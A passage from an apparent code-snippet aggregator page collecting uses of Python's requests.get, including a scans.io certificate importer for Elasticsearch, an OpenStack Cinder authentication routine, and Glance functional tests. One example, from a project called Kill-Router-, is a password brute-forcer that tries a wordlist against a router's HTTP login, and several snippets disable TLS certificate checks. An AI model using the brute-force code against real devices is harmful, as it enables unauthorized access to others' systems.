                                    refresh_es.indices.optimize(index='passive-ssl-hosts-sonar',
                                                                max_num_segments=1, request_timeout=7500)
                                    refresh_es.indices.optimize
                                else:
                                    logger.error("SHA1 did not match for {f} it was not imported".format(f=hostsfile))
                                    os.remove(hostsfile)
        else:
            logger.error("The scans.io/json must have changed or is having issues. I didn't see any studies. Exiting")
            sys.exit()
    else:
        logger.error("There was an error connecting to https://scans.io. I did not get a 200 status code. Exiting")
        sys.exit()

Example 32

Project: scansio-sonar-es
Source File: sonar_ssl.py
View license
def main(argv):
    parser = argparse.ArgumentParser()
    parser.add_argument('--server', default=DEFAULT_SERVER,
                        help=u'Elasticsearch hostname or IP (default {0})'.format(DEFAULT_SERVER))
    parser.add_argument('--port', default=DEFAULT_PORT,
                        help=u'Elasticsearch port (default {0})'.format(DEFAULT_PORT))
    args = parser.parse_args(argv[1:])

    workers = cpu_count()
    process_hosts_queue = Queue(maxsize=20000)
    process_certs_queue = Queue(maxsize=20000)
    update_hosts_queue = Queue(maxsize=20000)

    es = Elasticsearch([{u'host': args.server, u'port': args.port}], timeout=60)

    imported_sonar = es.search(index='scansio-sonar-ssl-imported', body={"size": 3000, "query": {"match_all": {}}})
    imported_files = []

    for f in imported_sonar['hits']['hits']:
        imported_files.append(f['_id'])

    scansio_feed = requests.get('https://scans.io/json')
    if scansio_feed.status_code == 200:
        feed = scansio_feed.json()
        if 'studies' in feed:
            for result in feed['studies']:
                if result['name'] == 'SSL Certificates':
                    for res in result['files']:
                        scans_file = res['name']
                        if scans_file.endswith('certs.gz'):
                            if scans_file.endswith('20131030-20150518_certs.gz'):
                                certfile = '20131030-20150518_certs.gz'
                            else:
                                certfile = scans_file[48:65]
                            if certfile not in imported_files:
                                logger.warning("We don't have {file} imported lets download it".format(file=certfile))
                                phys_file = requests.get(scans_file, stream=True)
                                # Need to do this cause some of the files are rather large
                                with open('{f}'.format(f=certfile), 'wb') as newcerts:
                                    for chunk in phys_file.iter_content(chunk_size=1024):
                                        if chunk:
                                            newcerts.write(chunk)
                                with open('{f}'.format(f=certfile), 'rb') as fh:
                                    h = hashlib.sha1()
                                    while True:
                                        data = fh.read(8192)
                                        if not data:
                                            break
                                        h.update(data)
                                sha1 = h.hexdigest()
                                if sha1 == res['fingerprint']:
                                    for w in xrange(workers):
                                        queue_es = Elasticsearch([{u'host': args.server, u'port': args.port}],
                                                                 timeout=60)
                                        p = Process(target=process_scan_certs, args=(process_certs_queue, queue_es))
                                        p.daemon = True
                                        p.start()
                                    logger.warning("Importing {f} at {d}".format(f=certfile, d=datetime.now()))
                                    parse_certs_file(certfile, process_certs_queue)
                                    for w in xrange(workers):
                                        process_certs_queue.put("DONE")
                                    logger.warning("Importing finished of {f} at {d}".format(f=certfile,
                                                                                             d=datetime.now()))
                                    es.index(index='scansio-sonar-ssl-imported', doc_type='imported-file', id=certfile,
                                             body={'file': certfile, 'imported_date': datetime.now(), 'sha1': sha1})
                                else:
                                    logger.error("SHA1 did not match for {f} it was not imported".format(f=certfile))
                                os.remove(certfile)
                                # Now we should optimize each index to max num segments of 1 to help with
                                # searching/sizing and just over all es happiness
                                refresh_es = Elasticsearch([{u'host': args.server, u'port': args.port}], timeout=60)
                                logger.warning("Optimizing index: {index} at {date}".
                                               format(index='passive-ssl-certs-sonar', date=datetime.now()))
                                refresh_es.indices.optimize(index='passive-ssl-certs-umich',
                                                            max_num_segments=1, request_timeout=7500)
                        if scans_file.endswith('hosts.gz'):
                            hostsfile = scans_file[48:65]
                            if hostsfile not in imported_files:
                                logger.warning("We don't have {file} imported lets download it".format(file=hostsfile))
                                phys_host_file = requests.get(scans_file)
                                with open('{f}'.format(f=hostsfile), 'wb') as hf:
                                    for chunk in phys_host_file.iter_content(chunk_size=1024):
                                        if chunk:
                                            hf.write(chunk)
                                with open('{f}'.format(f=hostsfile), 'rb') as fh:
                                    h = hashlib.sha1()
                                    while True:
                                        data = fh.read(8192)
                                        if not data:
                                            break
                                        h.update(data)
                                sha1 = h.hexdigest()
                                if sha1 == res['fingerprint']:
                                    for w in xrange(workers):
                                        queue_es = Elasticsearch([{u'host': args.server, u'port': args.port}],
                                                                 timeout=60)
                                        p = Process(target=process_hosts, args=(process_hosts_queue, queue_es))
                                        p.daemon = True
                                        p.start()
                                    logger.warning("Importing {f} at {d}".format(f=hostsfile, d=datetime.now()))
                                    parse_hosts_file(hostsfile, process_hosts_queue)
                                    logger.warning("Hosts updated for {f} now going back and updating first_seen"
                                                   .format(f=hostsfile))
                                    #  this is kinda dirty but without looking up everything at insert time (slow)
                                    #  I don't know of a better way to do
                                    #  this based on the number of documents we will have
                                    update_es = Elasticsearch([{u'host': args.server, u'port': args.port}], timeout=60)
                                    # construct an elasticsearch query where the filter is looking for any entry
                                    # that is missing the field first_seen
                                    # adding a queue processing system here this should hopefully speed things up.
                                    for work in xrange(workers):
                                        p = Process(target=update_hosts, args=(update_hosts_queue, update_es))
                                        p.daemon = True
                                        p.start()

                                    q = {'size': 500, "query": {"match_all": {}},
                                         "filter": {"missing": {"field": "first_seen"}}}
                                    new_updates = update_es.search(index='passive-ssl-hosts-sonar', body=q)
                                    logger.warning("Numer of hosts to update is {count}"
                                                   .format(count=new_updates['hits']['total']))
                                    # Scan across all the documents missing the first_seen field and bulk update them
                                    missing_first_seen = scan(update_es, query=q, scroll='30m',
                                                              index='passive-ssl-hosts-sonar')
                                    for miss in missing_first_seen:
                                        update_hosts_queue.put(miss)
                                    # for some stupid reason I keep missing some at the end of the scan/scroll
                                    # so going to do them manually
                                    new_updates = update_es.search(index='passive-ssl-hosts-sonar', body=q)
                                    logger.warning("Numer of hosts to update is {count}"
                                                   .format(count=new_updates['hits']['total']))
                                    missing_first_seen_again = scan(update_es, query=q, scroll='30m',
                                                                    index='passive-ssl-hosts-sonar')
                                    bulk_update_missed = []
                                    for m in missing_first_seen_again:
                                        last_seen = m['_source']['last_seen']
                                        first_seen = last_seen
                                        action = {"_op_type": "update", "_index": "passive-ssl-hosts-sonar",
                                                  "_type": "host", "_id": m['_id'], "doc": {'first_seen': first_seen}}
                                        bulk_update_missed.append(action)
                                        if len(bulk_update_missed) == 500:
                                            bulk(update_es, bulk_update_missed)
                                            bulk_update_missed = []
                                    bulk(update_es, bulk_update_missed)
                                    logger.warning("Finished updating hosts at {d}".format(d=datetime.now()))
                                    for w in xrange(workers):
                                        update_hosts_queue.put("DONE")
                                    #  Get the remaining ones that are less than 500 and the loop has ended
                                    logger.warning("Importing finished of {f} at {d}".format(f=hostsfile,
                                                   d=datetime.now()))
                                    es.index(index='scansio-sonar-ssl-imported', doc_type='imported-file', id=hostsfile,
                                             body={'file': hostsfile, 'imported_date': datetime.now(), 'sha1': sha1})
                                    os.remove(hostsfile)
                                    refresh_es = Elasticsearch([{u'host': args.server, u'port': args.port}], timeout=60)
                                    # Now we should optimize each index to max num segments of 1 to help with
                                    # searching/sizing and just over all es happiness
                                    logger.warning("Optimizing index: {index} at {date}".
                                                   format(index='passive-ssl-hosts-sonar', date=datetime.now()))
                                    refresh_es.indices.optimize(index='passive-ssl-hosts-sonar',
                                                                max_num_segments=1, request_timeout=7500)
                                    refresh_es.indices.optimize
                                else:
                                    logger.error("SHA1 did not match for {f} it was not imported".format(f=hostsfile))
                                    os.remove(hostsfile)
        else:
            logger.error("The scans.io/json must have changed or is having issues. I didn't see any studies. Exiting")
            sys.exit()
    else:
        logger.error("There was an error connecting to https://scans.io. I did not get a 200 status code. Exiting")
        sys.exit()

Example 33

Project: Kill-Router-
Source File: kill-router.py
View license
def bruteforce(target,port,ssl, passlist,username):

    url = '%s:%s' % (target, port)
    fd = open(passlist, 'rw')
    passwords = fd.readlines()
    passes = Queue.Queue()
        

    for password in passwords:
        password = password.rstrip()
        passes.put(password)

    i = 0
    print ""
    print colored("==========================[STARTING TEST]==========================",'yellow', attrs=['bold'])
    print colored("STARTING TEST ON HOST: %s",'blue', attrs=['bold']) % (url)
    print ""
    
    #VALIDA A CONEXÃO E/OU SE O ALVO ESTÁ DISPONÍVEL PARA REALIZAR O TESTE
    try:
        if ssl is True:
            validation = requests.get('https://'+url ,verify=False, timeout=8)
        else:
            validation = requests.get('http://'+url, timeout=8)
            
            if validation.status_code == 200:
                print colored("[X] INVALID TEST ", 'red', attrs=['bold'])
                return false
                
    except:
        print colored("[X] NO CONNECTION ", 'red', attrs=['bold'])
        return false

    while not passes.empty():
        password = passes.get()

        i = i + 1

        #AQUI IREMOS AVALIAR O PROTOCOLO, CASO ELE FOR TRUE, IRÁ REALIZAR REQUESTS COM O SSL
        try:
            if ssl is True:
                test = requests.get('https://'+url ,auth=(username, password), verify=False, timeout=8)
            else:
                test = requests.get('http://'+url, auth=(username, password), timeout=8)
        except:
            pass

        code = test.status_code
        print  colored('[%s]         USER[%s]          PASS [%s]', 'yellow') % (i,username,password)
        if code == 200:
            print ""
            print colored("==========================[LOGIN FOUND]==========================", 'yellow', attrs=['bold'])
            print ""
            print colored("===================================================================", 'yellow', attrs=['bold'])
            print colored("               [  :: USER[%s] AND PASS[%s]  ]                      ", 'green', attrs=['bold']) % (username, password)
            print colored("===================================================================", 'yellow', attrs=['bold'])
            
            #GRAVA LOG
            log = "echo '%s;%s;%s;%s' >> %s" % (target, port, username, password, logfile)
            subprocess.call(log, shell=True)
            return True
        else:
            pass

Example 34

Project: cinder
Source File: authentication.py
View license
    def authenticate_user(self, username, password):
        """Makes REST API call to generate the authentication token.

        Authentication token is generated for the specified user after
        validation

        :param username: Name of the user
        :param password: Password for the user
        :returns: The authtoken
        """

        SEC_REDIRECT = 302
        SEC_AUTHTOKEN_HEADER = 'X-SDS-AUTH-TOKEN'
        LB_API_PORT = 4443
        # Port on which load-balancer/reverse-proxy listens to all incoming
        # requests for CoprHD REST APIs
        APISVC_PORT = 8443  # Port on which apisvc listens to incoming requests

        cookiejar = cookie_lib.LWPCookieJar()

        url = ('https://%(ip)s:%(port)d%(uri)s' %
               {'ip': self.ipaddr, 'port': self.port,
                'uri': self.URI_AUTHENTICATION})

        try:
            if self.port == APISVC_PORT:
                login_response = requests.get(
                    url, headers=self.HEADERS, verify=False,
                    auth=(username, password), cookies=cookiejar,
                    allow_redirects=False, timeout=common.TIMEOUT_SEC)
                if login_response.status_code == SEC_REDIRECT:
                    location = login_response.headers['Location']
                    if not location:
                        raise common.CoprHdError(
                            common.CoprHdError.HTTP_ERR, (_("The redirect"
                                                            " location of the"
                                                            " authentication"
                                                            " service is not"
                                                            " provided")))
                    # Make the second request
                    login_response = requests.get(
                        location, headers=self.HEADERS, verify=False,
                        cookies=cookiejar, allow_redirects=False,
                        timeout=common.TIMEOUT_SEC)
                    if (login_response.status_code !=
                            requests.codes['unauthorized']):
                        raise common.CoprHdError(
                            common.CoprHdError.HTTP_ERR, (_("The"
                                                            " authentication"
                                                            " service failed"
                                                            " to reply with"
                                                            " 401")))

                    # Now provide the credentials
                    login_response = requests.get(
                        location, headers=self.HEADERS,
                        auth=(username, password), verify=False,
                        cookies=cookiejar, allow_redirects=False,
                        timeout=common.TIMEOUT_SEC)
                    if login_response.status_code != SEC_REDIRECT:
                        raise common.CoprHdError(
                            common.CoprHdError.HTTP_ERR,
                            (_("Access forbidden: Authentication required")))
                    location = login_response.headers['Location']
                    if not location:
                        raise common.CoprHdError(
                            common.CoprHdError.HTTP_ERR,
                            (_("The"
                               " authentication service failed to provide the"
                               " location of the service URI when redirecting"
                               " back")))
                    authtoken = login_response.headers[SEC_AUTHTOKEN_HEADER]
                    if not authtoken:
                        details_str = self.extract_error_detail(login_response)
                        raise common.CoprHdError(common.CoprHdError.HTTP_ERR,
                                                 (_("The token is not"
                                                    " generated by"
                                                    " authentication service."
                                                    "%s") %
                                                  details_str))
                    # Make the final call to get the page with the token
                    new_headers = self.HEADERS
                    new_headers[SEC_AUTHTOKEN_HEADER] = authtoken
                    login_response = requests.get(
                        location, headers=new_headers, verify=False,
                        cookies=cookiejar, allow_redirects=False,
                        timeout=common.TIMEOUT_SEC)
                    if login_response.status_code != requests.codes['ok']:
                        raise common.CoprHdError(
                            common.CoprHdError.HTTP_ERR, (_(
                                "Login failure code: "
                                "%(statuscode)s Error: %(responsetext)s") %
                                {'statuscode': six.text_type(
                                    login_response.status_code),
                                 'responsetext': login_response.text}))
            elif self.port == LB_API_PORT:
                login_response = requests.get(
                    url, headers=self.HEADERS, verify=False,
                    cookies=cookiejar, allow_redirects=False)

                if(login_response.status_code ==
                   requests.codes['unauthorized']):
                    # Now provide the credentials
                    login_response = requests.get(
                        url, headers=self.HEADERS, auth=(username, password),
                        verify=False, cookies=cookiejar, allow_redirects=False)
                authtoken = None
                if SEC_AUTHTOKEN_HEADER in login_response.headers:
                    authtoken = login_response.headers[SEC_AUTHTOKEN_HEADER]
            else:
                raise common.CoprHdError(
                    common.CoprHdError.HTTP_ERR,
                    (_("Incorrect port number. Load balanced port is: "
                       "%(lb_api_port)s, api service port is: "
                       "%(apisvc_port)s") %
                     {'lb_api_port': LB_API_PORT,
                        'apisvc_port': APISVC_PORT}))

            if not authtoken:
                details_str = self.extract_error_detail(login_response)
                raise common.CoprHdError(
                    common.CoprHdError.HTTP_ERR,
                    (_("The token is not generated by authentication service."
                       " %s") % details_str))

            if login_response.status_code != requests.codes['ok']:
                error_msg = None
                if login_response.status_code == 401:
                    error_msg = _("Access forbidden: Authentication required")
                elif login_response.status_code == 403:
                    error_msg = _("Access forbidden: You don't have"
                                  " sufficient privileges to perform"
                                  " this operation")
                elif login_response.status_code == 500:
                    error_msg = _("Bourne internal server error")
                elif login_response.status_code == 404:
                    error_msg = _(
                        "Requested resource is currently unavailable")
                elif login_response.status_code == 405:
                    error_msg = (_("GET method is not supported by resource:"
                                   " %s"),
                                 url)
                elif login_response.status_code == 503:
                    error_msg = _("Service temporarily unavailable:"
                                  " The server is temporarily unable"
                                  " to service your request")
                else:
                    error_msg = login_response.text
                raise common.CoprHdError(common.CoprHdError.HTTP_ERR,
                                         (_("HTTP code: %(status_code)s"
                                            ", response: %(reason)s"
                                            " [%(error_msg)s]") % {
                                             'status_code': six.text_type(
                                                 login_response.status_code),
                                             'reason': six.text_type(
                                                 login_response.reason),
                                             'error_msg': six.text_type(
                                                 error_msg)
                                         }))
        except (exceptions.SSLError, socket.error, exceptions.ConnectionError,
                exceptions.Timeout) as e:
            raise common.CoprHdError(
                common.CoprHdError.HTTP_ERR, six.text_type(e))

        return authtoken

Example 35

Project: glance
Source File: test_reload.py
View license
    def test_reload(self):
        """Test SIGHUP picks up new config values"""
        def check_pids(pre, post=None, workers=2):
            if post is None:
                if len(pre) == workers:
                    return True
                else:
                    return False
            if len(post) == workers:
                # Check new children have different pids
                if post.intersection(pre) == set():
                    return True
            return False
        self.api_server.fork_socket = False
        self.registry_server.fork_socket = False
        self.start_servers(fork_socket=False, **vars(self))

        pre_pids = {}
        post_pids = {}

        # Test changing the workers value creates all new children
        # This recycles the existing socket
        msg = 'Start timeout'
        for _ in self.ticker(msg):
            for server in ('api', 'registry'):
                pre_pids[server] = self._get_children(server)
            if check_pids(pre_pids['api'], workers=1):
                if check_pids(pre_pids['registry'], workers=1):
                    break

        for server in ('api', 'registry'):
            # Labour costs have fallen
            set_config_value(self._conffile(server), 'workers', '2')
            cmd = "kill -HUP %s" % self._get_parent(server)
            execute(cmd, raise_error=True)

        msg = 'Worker change timeout'
        for _ in self.ticker(msg):
            for server in ('api', 'registry'):
                post_pids[server] = self._get_children(server)
            if check_pids(pre_pids['registry'], post_pids['registry']):
                if check_pids(pre_pids['api'], post_pids['api']):
                    break

        # Test changing from http to https
        # This recycles the existing socket
        path = self._url('http', '/')
        response = requests.get(path)
        self.assertEqual(http.MULTIPLE_CHOICES, response.status_code)
        del response  # close socket so that process audit is reliable

        pre_pids['api'] = self._get_children('api')
        key_file = os.path.join(TEST_VAR_DIR, 'privatekey.key')
        set_config_value(self._conffile('api'), 'key_file', key_file)
        cert_file = os.path.join(TEST_VAR_DIR, 'certificate.crt')
        set_config_value(self._conffile('api'), 'cert_file', cert_file)
        cmd = "kill -HUP %s" % self._get_parent('api')
        execute(cmd, raise_error=True)

        msg = 'http to https timeout'
        for _ in self.ticker(msg):
            post_pids['api'] = self._get_children('api')
            if check_pids(pre_pids['api'], post_pids['api']):
                break

        ca_file = os.path.join(TEST_VAR_DIR, 'ca.crt')
        path = self._url('https', '/')
        response = requests.get(path, verify=ca_file)
        self.assertEqual(http.MULTIPLE_CHOICES, response.status_code)
        del response

        # Test https restart
        # This recycles the existing socket
        pre_pids['api'] = self._get_children('api')
        cmd = "kill -HUP %s" % self._get_parent('api')
        execute(cmd, raise_error=True)

        msg = 'https restart timeout'
        for _ in self.ticker(msg):
            post_pids['api'] = self._get_children('api')
            if check_pids(pre_pids['api'], post_pids['api']):
                break

        ca_file = os.path.join(TEST_VAR_DIR, 'ca.crt')
        path = self._url('https', '/')
        response = requests.get(path, verify=ca_file)
        self.assertEqual(http.MULTIPLE_CHOICES, response.status_code)
        del response

        # Test changing the https bind_host
        # This requires a new socket
        pre_pids['api'] = self._get_children('api')
        set_config_value(self._conffile('api'), 'bind_host', '127.0.0.1')
        cmd = "kill -HUP %s" % self._get_parent('api')
        execute(cmd, raise_error=True)

        msg = 'https bind_host timeout'
        for _ in self.ticker(msg):
            post_pids['api'] = self._get_children('api')
            if check_pids(pre_pids['api'], post_pids['api']):
                break

        path = self._url('https', '/')
        response = requests.get(path, verify=ca_file)
        self.assertEqual(http.MULTIPLE_CHOICES, response.status_code)
        del response

        # Test https -> http
        # This recycles the existing socket
        pre_pids['api'] = self._get_children('api')
        set_config_value(self._conffile('api'), 'key_file', '')
        set_config_value(self._conffile('api'), 'cert_file', '')
        cmd = "kill -HUP %s" % self._get_parent('api')
        execute(cmd, raise_error=True)

        msg = 'https to http timeout'
        for _ in self.ticker(msg):
            post_pids['api'] = self._get_children('api')
            if check_pids(pre_pids['api'], post_pids['api']):
                break

        path = self._url('http', '/')
        response = requests.get(path)
        self.assertEqual(http.MULTIPLE_CHOICES, response.status_code)
        del response

        # Test changing the http bind_host
        # This requires a new socket
        pre_pids['api'] = self._get_children('api')
        set_config_value(self._conffile('api'), 'bind_host', '127.0.0.1')
        cmd = "kill -HUP %s" % self._get_parent('api')
        execute(cmd, raise_error=True)

        msg = 'http bind_host timeout'
        for _ in self.ticker(msg):
            post_pids['api'] = self._get_children('api')
            if check_pids(pre_pids['api'], post_pids['api']):
                break

        path = self._url('http', '/')
        response = requests.get(path)
        self.assertEqual(http.MULTIPLE_CHOICES, response.status_code)
        del response

        # Test logging configuration change
        # This recycles the existing socket
        conf_dir = os.path.join(self.test_dir, 'etc')
        log_file = conf_dir + 'new.log'
        self.assertFalse(os.path.exists(log_file))
        set_config_value(self._conffile('api'), 'log_file', log_file)
        cmd = "kill -HUP %s" % self._get_parent('api')
        execute(cmd, raise_error=True)
        msg = 'No new log file created'
        for _ in self.ticker(msg):
            if os.path.exists(log_file):
                break

Example 36

Project: glance
Source File: test_metadef_namespaces.py
View license
    def test_namespace_lifecycle(self):
        # Namespace should not exist
        path = self._url('/v2/metadefs/namespaces/MyNamespace')
        response = requests.get(path, headers=self._headers())
        self.assertEqual(http.NOT_FOUND, response.status_code)

        # Create a namespace
        path = self._url('/v2/metadefs/namespaces')
        headers = self._headers({'content-type': 'application/json'})
        namespace_name = 'MyNamespace'
        data = jsonutils.dumps({
            "namespace": namespace_name,
            "display_name": "My User Friendly Namespace",
            "description": "My description"
        }
        )
        response = requests.post(path, headers=headers, data=data)
        self.assertEqual(http.CREATED, response.status_code)
        namespace_loc_header = response.headers['Location']

        # Returned namespace should match the created namespace with default
        # values of visibility=private, protected=False and owner=Context
        # Tenant
        namespace = jsonutils.loads(response.text)
        checked_keys = set([
            u'namespace',
            u'display_name',
            u'description',
            u'visibility',
            u'self',
            u'schema',
            u'protected',
            u'owner',
            u'created_at',
            u'updated_at'
        ])
        self.assertEqual(set(namespace.keys()), checked_keys)
        expected_namespace = {
            "namespace": namespace_name,
            "display_name": "My User Friendly Namespace",
            "description": "My description",
            "visibility": "private",
            "protected": False,
            "owner": TENANT1,
            "self": "/v2/metadefs/namespaces/%s" % namespace_name,
            "schema": "/v2/schemas/metadefs/namespace"
        }
        for key, value in expected_namespace.items():
            self.assertEqual(namespace[key], value, key)

        # Attempt to insert a duplicate
        response = requests.post(path, headers=headers, data=data)
        self.assertEqual(http.CONFLICT, response.status_code)

        # Get the namespace using the returned Location header
        response = requests.get(namespace_loc_header, headers=self._headers())
        self.assertEqual(http.OK, response.status_code)
        namespace = jsonutils.loads(response.text)
        self.assertEqual(namespace_name, namespace['namespace'])
        self.assertNotIn('object', namespace)
        self.assertEqual(TENANT1, namespace['owner'])
        self.assertEqual('private', namespace['visibility'])
        self.assertFalse(namespace['protected'])

        # The namespace should be mutable
        path = self._url('/v2/metadefs/namespaces/%s' % namespace_name)
        media_type = 'application/json'
        headers = self._headers({'content-type': media_type})
        namespace_name = "MyNamespace-UPDATED"
        data = jsonutils.dumps(
            {
                "namespace": namespace_name,
                "display_name": "display_name-UPDATED",
                "description": "description-UPDATED",
                "visibility": "private",  # Not changed
                "protected": True,
                "owner": TENANT2
            }
        )
        response = requests.put(path, headers=headers, data=data)
        self.assertEqual(http.OK, response.status_code, response.text)

        # Returned namespace should reflect the changes
        namespace = jsonutils.loads(response.text)
        self.assertEqual('MyNamespace-UPDATED', namespace_name)
        self.assertEqual('display_name-UPDATED', namespace['display_name'])
        self.assertEqual('description-UPDATED', namespace['description'])
        self.assertEqual('private', namespace['visibility'])
        self.assertTrue(namespace['protected'])
        self.assertEqual(TENANT2, namespace['owner'])

        # Updates should persist across requests
        path = self._url('/v2/metadefs/namespaces/%s' % namespace_name)
        response = requests.get(path, headers=self._headers())
        self.assertEqual(http.OK, response.status_code)
        namespace = jsonutils.loads(response.text)
        self.assertEqual('MyNamespace-UPDATED', namespace['namespace'])
        self.assertEqual('display_name-UPDATED', namespace['display_name'])
        self.assertEqual('description-UPDATED', namespace['description'])
        self.assertEqual('private', namespace['visibility'])
        self.assertTrue(namespace['protected'])
        self.assertEqual(TENANT2, namespace['owner'])

        # Deletion should not work on protected namespaces
        path = self._url('/v2/metadefs/namespaces/%s' % namespace_name)
        response = requests.delete(path, headers=self._headers())
        self.assertEqual(http.FORBIDDEN, response.status_code)

        # Unprotect namespace for deletion
        path = self._url('/v2/metadefs/namespaces/%s' % namespace_name)
        media_type = 'application/json'
        headers = self._headers({'content-type': media_type})
        doc = {
            "namespace": namespace_name,
            "display_name": "My User Friendly Namespace",
            "description": "My description",
            "visibility": "public",
            "protected": False,
            "owner": TENANT2
        }
        data = jsonutils.dumps(doc)
        response = requests.put(path, headers=headers, data=data)
        self.assertEqual(http.OK, response.status_code, response.text)

        # Deletion should work. Deleting namespace MyNamespace
        path = self._url('/v2/metadefs/namespaces/%s' % namespace_name)
        response = requests.delete(path, headers=self._headers())
        self.assertEqual(http.NO_CONTENT, response.status_code)

        # Namespace should not exist
        path = self._url('/v2/metadefs/namespaces/MyNamespace')
        response = requests.get(path, headers=self._headers())
        self.assertEqual(http.NOT_FOUND, response.status_code)

Example 37

Project: glance
Source File: test_metadef_objects.py
View license
    def test_metadata_objects_lifecycle(self):
        # Namespace should not exist
        path = self._url('/v2/metadefs/namespaces/MyNamespace')
        response = requests.get(path, headers=self._headers())
        self.assertEqual(http.NOT_FOUND, response.status_code)

        # Create a namespace
        path = self._url('/v2/metadefs/namespaces')
        headers = self._headers({'content-type': 'application/json'})
        namespace_name = 'MyNamespace'
        data = jsonutils.dumps({
            "namespace": namespace_name,
            "display_name": "My User Friendly Namespace",
            "description": "My description",
            "visibility": "public",
            "protected": False,
            "owner": "The Test Owner"
        }
        )
        response = requests.post(path, headers=headers, data=data)
        self.assertEqual(http.CREATED, response.status_code)

        # Metadata objects should not exist
        path = self._url('/v2/metadefs/namespaces/MyNamespace/objects/object1')
        response = requests.get(path, headers=self._headers())
        self.assertEqual(http.NOT_FOUND, response.status_code)

        # Create a object
        path = self._url('/v2/metadefs/namespaces/MyNamespace/objects')
        headers = self._headers({'content-type': 'application/json'})
        metadata_object_name = "object1"
        data = jsonutils.dumps(
            {
                "name": metadata_object_name,
                "description": "object1 description.",
                "required": [
                    "property1"
                ],
                "properties": {
                    "property1": {
                        "type": "integer",
                        "title": "property1",
                        "description": "property1 description",
                        "operators": ["<all-in>"],
                        "default": 100,
                        "minimum": 100,
                        "maximum": 30000369
                    },
                    "property2": {
                        "type": "string",
                        "title": "property2",
                        "description": "property2 description ",
                        "default": "value2",
                        "minLength": 2,
                        "maxLength": 50
                    }
                }
            }
        )
        response = requests.post(path, headers=headers, data=data)
        self.assertEqual(http.CREATED, response.status_code)

        # Attempt to insert a duplicate
        response = requests.post(path, headers=headers, data=data)
        self.assertEqual(http.CONFLICT, response.status_code)

        # Get the metadata object created above
        path = self._url('/v2/metadefs/namespaces/%s/objects/%s' %
                         (namespace_name, metadata_object_name))
        response = requests.get(path,
                                headers=self._headers())
        self.assertEqual(http.OK, response.status_code)
        metadata_object = jsonutils.loads(response.text)
        self.assertEqual("object1", metadata_object['name'])

        # Returned object should match the created object
        metadata_object = jsonutils.loads(response.text)
        checked_keys = set([
            u'name',
            u'description',
            u'properties',
            u'required',
            u'self',
            u'schema',
            u'created_at',
            u'updated_at'
        ])
        self.assertEqual(set(metadata_object.keys()), checked_keys)
        expected_metadata_object = {
            "name": metadata_object_name,
            "description": "object1 description.",
            "required": [
                "property1"
            ],
            "properties": {
                'property1': {
                    'type': 'integer',
                    "title": "property1",
                    'description': 'property1 description',
                    'operators': ['<all-in>'],
                    'default': 100,
                    'minimum': 100,
                    'maximum': 30000369
                },
                "property2": {
                    "type": "string",
                    "title": "property2",
                    "description": "property2 description ",
                    "default": "value2",
                    "minLength": 2,
                    "maxLength": 50
                }
            },
            "self": "/v2/metadefs/namespaces/%("
                    "namespace)s/objects/%(object)s" %
                    {'namespace': namespace_name,
                     'object': metadata_object_name},
            "schema": "v2/schemas/metadefs/object"
        }

        # Simple key values
        checked_values = set([
            u'name',
            u'description',
        ])
        for key, value in expected_metadata_object.items():
            if(key in checked_values):
                self.assertEqual(metadata_object[key], value, key)
        # Complex key values - properties
        for key, value in (
                expected_metadata_object["properties"]['property2'].items()):
            self.assertEqual(
                metadata_object["properties"]["property2"][key],
                value, key
            )

        # The metadata_object should be mutable
        path = self._url('/v2/metadefs/namespaces/%s/objects/%s' %
                         (namespace_name, metadata_object_name))
        media_type = 'application/json'
        headers = self._headers({'content-type': media_type})
        metadata_object_name = "object1-UPDATED"
        data = jsonutils.dumps(
            {
                "name": metadata_object_name,
                "description": "desc-UPDATED",
                "required": [
                    "property2"
                ],
                "properties": {
                    'property1': {
                        'type': 'integer',
                        "title": "property1",
                        'description': 'p1 desc-UPDATED',
                        'default': 500,
                        'minimum': 500,
                        'maximum': 1369
                    },
                    "property2": {
                        "type": "string",
                        "title": "property2",
                        "description": "p2 desc-UPDATED",
                        'operators': ['<or>'],
                        "default": "value2-UPDATED",
                        "minLength": 5,
                        "maxLength": 150
                    }
                }
            }
        )
        response = requests.put(path, headers=headers, data=data)
        self.assertEqual(http.OK, response.status_code, response.text)

        # Returned metadata_object should reflect the changes
        metadata_object = jsonutils.loads(response.text)
        self.assertEqual('object1-UPDATED', metadata_object['name'])
        self.assertEqual('desc-UPDATED', metadata_object['description'])
        self.assertEqual('property2', metadata_object['required'][0])
        updated_property1 = metadata_object['properties']['property1']
        updated_property2 = metadata_object['properties']['property2']
        self.assertEqual('integer', updated_property1['type'])
        self.assertEqual('p1 desc-UPDATED', updated_property1['description'])
        self.assertEqual('500', updated_property1['default'])
        self.assertEqual(500, updated_property1['minimum'])
        self.assertEqual(1369, updated_property1['maximum'])
        self.assertEqual(['<or>'], updated_property2['operators'])
        self.assertEqual('string', updated_property2['type'])
        self.assertEqual('p2 desc-UPDATED', updated_property2['description'])
        self.assertEqual('value2-UPDATED', updated_property2['default'])
        self.assertEqual(5, updated_property2['minLength'])
        self.assertEqual(150, updated_property2['maxLength'])

        # Updates should persist across requests
        path = self._url('/v2/metadefs/namespaces/%s/objects/%s' %
                         (namespace_name, metadata_object_name))
        response = requests.get(path, headers=self._headers())
        self.assertEqual(200, response.status_code)
        self.assertEqual('object1-UPDATED', metadata_object['name'])
        self.assertEqual('desc-UPDATED', metadata_object['description'])
        self.assertEqual('property2', metadata_object['required'][0])
        updated_property1 = metadata_object['properties']['property1']
        updated_property2 = metadata_object['properties']['property2']
        self.assertEqual('integer', updated_property1['type'])
        self.assertEqual('p1 desc-UPDATED', updated_property1['description'])
        self.assertEqual('500', updated_property1['default'])
        self.assertEqual(500, updated_property1['minimum'])
        self.assertEqual(1369, updated_property1['maximum'])
        self.assertEqual(['<or>'], updated_property2['operators'])
        self.assertEqual('string', updated_property2['type'])
        self.assertEqual('p2 desc-UPDATED', updated_property2['description'])
        self.assertEqual('value2-UPDATED', updated_property2['default'])
        self.assertEqual(5, updated_property2['minLength'])
        self.assertEqual(150, updated_property2['maxLength'])

        # Deletion of metadata_object object1
        path = self._url('/v2/metadefs/namespaces/%s/objects/%s' %
                         (namespace_name, metadata_object_name))
        response = requests.delete(path, headers=self._headers())
        self.assertEqual(http.NO_CONTENT, response.status_code)

        # metadata_object object1 should not exist
        path = self._url('/v2/metadefs/namespaces/%s/objects/%s' %
                         (namespace_name, metadata_object_name))
        response = requests.get(path, headers=self._headers())
        self.assertEqual(http.NOT_FOUND, response.status_code)

Example 38

Project: glance
Source File: test_metadef_properties.py
View license
    def test_properties_lifecycle(self):
        # Namespace should not exist
        path = self._url('/v2/metadefs/namespaces/MyNamespace')
        response = requests.get(path, headers=self._headers())
